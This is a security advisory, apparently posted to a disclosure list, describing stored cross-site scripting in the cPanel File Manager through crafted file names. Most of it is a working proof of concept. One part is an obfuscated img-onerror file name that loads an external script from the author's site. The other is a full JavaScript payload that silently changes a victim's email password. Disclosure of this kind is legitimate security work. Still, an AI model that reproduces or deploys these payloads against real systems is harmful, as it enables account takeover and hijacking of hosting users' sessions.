CPANEL File Manager XSS Vulnerability

[rizki.wicaksono@xxxxxxxxx]

Cpanel File Manager XSS Vulnerability

Synopsis
-------------
Cpanel (www.cpanel.net) has two file manager application, standard and legacy 
one to manage files. Both of them are vulnerable to XSS attack. File name is 
presented unescaped so that an attacker can craft malicious file name to 
execute script on behalf of victims.

Version
-----------
this vulnerability was found on cpanel version 11.24.4-CURRENT
exploit here is already tested on: Firefox 3.0.7 and IE 8.0

Details
----------
legacy file manager (lfm) is more vulnerable than the standard one. In legacy 
file manager, only by viewing list of files, attacker code can be executed. In 
standard file manager, list of file is well escaped, but attacker still can 
inject script when victims click on any of these task: delete, copy, move, 
rename, edit, change permissions, extract, compress on file with malicious name.

to make browser load and execute external script, attacker can't directly use 
<script> tag because slash character is forbidden in file name. To overcome 
that restriction, attacker can inject script via <img> tag onError attribute 
and set src attribute with empty string to force error event always triggered. 
the script injected via <img> tag generate <script> tag to execute external 
script by using document.write() function.

PoC exploit
-----------------
malicious file name:

<img src='' 
onerror='document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,108,109,117,104,97,99,107,105,110,103,46,99,111,109,47,120,46,106,115,62,60,47,115,99,114,105,112,116,62))'>

that <img> generate this html tag to make browser load and execute external 
script:

<script src=http://ilmuhacking.com/x.js></script>

that poc exploit works for both file manager application (standard and legacy).

PoC payload: change victim email password
----------------------------------------------------------------
by making POST request using ajax functions to 
/frontend/x3/mail/dopasswdpop.html attacker can change one of victim email 
password. the script below is an example payload that executed from external 
url.

----------------
var http_request = false;
function makePOSTRequest(url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
 http_request = new XMLHttpRequest();
 if (http_request.overrideMimeType) {
    http_request.overrideMimeType('text/html');
 }
} else if (window.ActiveXObject) { // IE
 try {
    http_request = new ActiveXObject("Msxml2.XMLHTTP");
 } catch (e) {
    try {
       http_request = new ActiveXObject("Microsoft.XMLHTTP");
    } catch (e) {}
 }
}
if (!http_request) {
 alert('Cannot create XMLHTTP instance');
 return false;
}
http_request.onreadystatechange = alertContents;
http_request.open('POST', url, true);
http_request.setRequestHeader("Content-type", 
"application/x-www-form-urlencoded");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
http_request.send(parameters);
}
function alertContents() {
if (http_request.readyState == 4) {
 if (http_request.status == 200) {
    result = http_request.responseText;
    alert(result);
 } else {
    alert('There was a problem with the request.');
 }
}
}
var poststr = "quota=" + encodeURI("250") + "&password2=" + 
encodeURI("newpassword") +
            "&password=" + encodeURI("newpassword") + "&email=" + 
encodeURI("testemail") +
            "&domain=" + encodeURI("ilmuhacking.com");
makePOSTRequest('/frontend/x3/mail/dopasswdpop.html', poststr);

CREDITS
------------------
This vulnerability has been discovered by Rizki Wicaksono ( 
http://www.ilmuhacking.com ) 
The Indonesian  article at 
http://www.ilmuhacking.com/web-security/cpanel-file-manager-xss-attack/ gives 
more detail about this vulnerability.